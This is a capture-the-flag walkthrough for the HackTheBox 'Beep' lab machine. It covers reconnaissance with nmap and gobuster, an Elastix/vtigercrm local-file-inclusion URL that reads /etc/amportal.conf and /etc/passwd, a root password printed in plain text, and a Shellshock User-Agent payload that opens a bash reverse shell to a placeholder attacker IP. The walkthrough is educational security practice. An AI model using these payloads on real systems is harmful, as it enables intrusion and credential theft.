> For the complete documentation index, see [llms.txt](https://sayonara.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sayonara.gitbook.io/writeups/hackthebox/machines/beep.md).

# Beep

easy linux machine

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FaKptQY8G3JA6plfki5mx%2Fimage.png?alt=media&amp;token=dfb56a2a-11f9-4ee4-ae06-7448e59396c9" alt=""><figcaption></figcaption></figure></div>

### <mark style="color:red;">nmap:</mark>

As usual let's start by scanning open services using nmap

```python
nmap -sC -sV -oA beep 10.10.10.7
```

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2Fkh4C7fuaYYzXj47ip2Jq%2Fimage.png?alt=media&amp;token=d5868159-2f8a-4d27-8e54-3565be08e4ab" alt=""><figcaption></figcaption></figure></div>

### <mark style="color:red;">content discovery using gobuster :</mark>&#x20;

```python
gobuster dir -u https://10.10.10.7 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -t 200 --no-error
```

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FgAqfp6bv7Kf96sftcKSr%2Fimage.png?alt=media&amp;token=760b5b70-22cb-4c39-9ad1-f868acb67f4f" alt=""><figcaption></figcaption></figure></div>

if we browse to /admin it will promp as for the admin password if you dont have a password it will show this page

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FGUiQqShHUBqInSq0rmLf%2Fimage.png?alt=media&amp;token=ba6e986c-f2e0-4a18-a0e1-ee740296c64c" alt=""><figcaption></figcaption></figure></div>

i couldn't go any further so i checked for elastix exploits using searchsploit

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FuBh07f6k6pF8wqJpaXgG%2Fimage.png?alt=media&amp;token=c1ec08f7-dd5f-4511-a399-22469e41e20d" alt=""><figcaption></figcaption></figure></div>

the one that seems to work is the LFI vulnerabiility&#x20;

let run the command `searchsploit -x <PATH>` to analyze the exploit

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FfAe0S6u2PSQjolw4I8WX%2Fimage.png?alt=media&amp;token=b25bfb54-58a6-4968-a6f2-e42863fc70b5" alt=""><figcaption></figcaption></figure></div>

## <mark style="color:red;">Method 1 => LFI to RCE</mark>&#x20;

now let's vesit the exploitDB url to take a look at the exploit

{% embed url="<https://www.exploit-db.com/exploits/37637>" %}

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FRIYrOAcECTVF3jjfkODV%2Fimage.png?alt=media&amp;token=5c5335ef-4efa-44fd-b61c-89cb5acc9c22" alt=""><figcaption></figcaption></figure></div>

let's visit this path&#x20;

```python
https://10.10.10.7/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action
```

<figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FCnCkv8CfcINCJew04i7S%2Fimage.png?alt=media&amp;token=50669268-d038-44c6-a119-43be0e83bd1d" alt=""><figcaption></figcaption></figure>

reviewing the source code of this page reveals the admin password

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FgA4qUuhLMGi8DttA5Fgt%2Fimage.png?alt=media&amp;token=59ac7750-54de-49a7-a838-a08d3144dccf" alt=""><figcaption></figcaption></figure></div>

we can use this password to login to the elastix login form

now let's disclose /etc/password&#x20;

```python
https://10.10.10.7/vtigercrm/graph.php?current_language=../../../../../../../..//etc/passwd%00&module=Accounts&action
```

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FCJe72uyz1ajwoNFIZrUm%2Fimage.png?alt=media&amp;token=8ed55804-2e0d-4475-9955-27a5e1aac75c" alt=""><figcaption></figcaption></figure></div>

now ssh to the beep box as the user root and the password we have found in the amportal.conf page

<mark style="color:blue;">**root : jEhdIekWmdjE**</mark>&#x20;

```python
ssh root@10.10.10.7
```

## <mark style="color:red;">Method 2 => RCE through Shellshock</mark>

after doing nmap we found out that there is an open port on 10000 running Webmin httpd let's visit it:&#x20;

when we submit wrong credentials it shows the session\_login.cgi directory&#x20;

![](https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2F6wwE7Up3lxGiMDwU0mVx%2Fimage.png?alt=media\&token=9ad78518-688a-4bc5-9ee0-c4a1ddd26426)

cgi scripts use the Bash shell for processing user input were particularly susceptible to exploitation and there was a famous exploitation called shellshock which exploit cgi script to execute arbitrary code&#x20;

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FADDX2T5jdglBZrlrnyOx%2Fshellshock.webp?alt=media&amp;token=61936630-5e6b-4346-8e67-9b08154f397f" alt=""><figcaption></figcaption></figure></div>

so let's test if this cgi is vulnerable to shellshock attack

let's capture the login submit using burp suite and replace the user agent value with a bash one-liner reverse shell shellshock payload

```python
() { :;}; bash -i >& /dev/tcp/<ATTACKER_IP>/<PORT> 0>&1
```

before sending this request we have to start listening on the port we specified in the payload for me it was 443

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FxwMWFlxxvUQljX6vJVEw%2Fimage.png?alt=media&amp;token=7d4f390c-b3cb-48c4-bf0c-fb4d1c649f57" alt=""><figcaption></figcaption></figure></div>

and now let's send the request using burp

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FtFMiL0hevVnEyKPXw4FU%2Fimage.png?alt=media&amp;token=f46fc479-464f-4c41-a969-44c0379df07c" alt=""><figcaption></figcaption></figure></div>

and we get back a reverse shell

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FqpwH890AKej0HJ3NN1qp%2Fimage.png?alt=media&amp;token=cabd1dc8-bdd0-47a7-845f-9aebd46b7924" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FofdE08kOSWaitRKsPuab%2Fimage.png?alt=media&amp;token=a59e5724-9bd0-40f6-9005-cf28c6046a75" alt=""><figcaption></figcaption></figure></div>

hope you found this walkthrough easy to understand and follow

Greeting From [<mark style="color:red;">Sayonara</mark>](https://github.com/ismail-arame)
